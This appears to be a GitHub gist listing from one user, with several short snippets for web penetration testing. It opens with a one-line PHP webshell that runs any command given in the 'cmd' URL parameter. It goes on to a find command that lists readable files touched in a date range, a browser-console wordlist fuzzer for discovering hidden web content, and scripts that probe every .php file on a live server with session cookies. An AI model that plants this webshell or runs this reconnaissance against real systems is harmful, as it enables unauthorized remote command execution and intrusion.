Skip to content

Instantly share code, notes, and snippets.

@kecs
kecs / gist:808cd1c96d3a7c42171807aadf0a290e
Created February 11, 2024 15:05
PHP webshell 1liner
<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
@kecs
kecs / dirs_used_by_u_in_time.sh
Last active December 14, 2019 14:46
List readable files accessed by user at a time period, when user was active.
find / -type f -newermt 2019-07-07 ! -newermt 2019-07-31 -ls -readable 2> /dev/null
@kecs
kecs / jsConsoleWordlistFuzz.js
Created December 13, 2019 14:50
Discover web content from js console
function fuzz(){
// Replace with any online newline separated word list
var WORDLIST_URL = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt";
var WORDLIST = [];
var xhttp = new XMLHttpRequest();
// Fetch wordlist
xhttp.open("GET", WORDLIST_URL, false);
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
@kecs
kecs / paste.py
Created December 6, 2019 23:04
Clipboard helper for people who paste a lot
import sys, re, time
import pyperclip
texts = []
while 1:
sys.stdout.flush()
@kecs
kecs / get_scripts.py
Created November 10, 2019 12:21
Download list of scripts loaded by site, greppable.
# pip install jsbeautifier requests
import os
import requests
from jsbeautifier import beautify
try:
os.mkdir('js')
except OSError:
pass
@kecs
kecs / listLoadedScriptsFromConsole.js
Created November 10, 2019 11:39
List scripts loaded by page from console
for(i=0;i<document.scripts.length;i++)console.log(document.scripts[i].src)
@kecs
kecs / addJQery.js
Created November 1, 2019 13:44
Add jQuery to any page from console
script=document.createElement('script');document.head.appendChild(script);script.src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js';
import sys
"""
Recursively traverse a php repo,
add a line that logs fn calls.
Non overlapping matches.
cd into project root.
"""
import requests, time, os
"""
List all .php files in repo, send GET and POST to live url, print response if it is not 404
Start from repo root dir.
Args: base_url_to_live_server
"""
COOKIES = {'SESSID': '', 'PHPSESSID': ''}
import os, re, sys
"""
Recursively traverse a php repo, add a line that logs fn calls.
Non overlapping matches!
Arg: output file full path
"""
OUTFILE = sys.argv[1]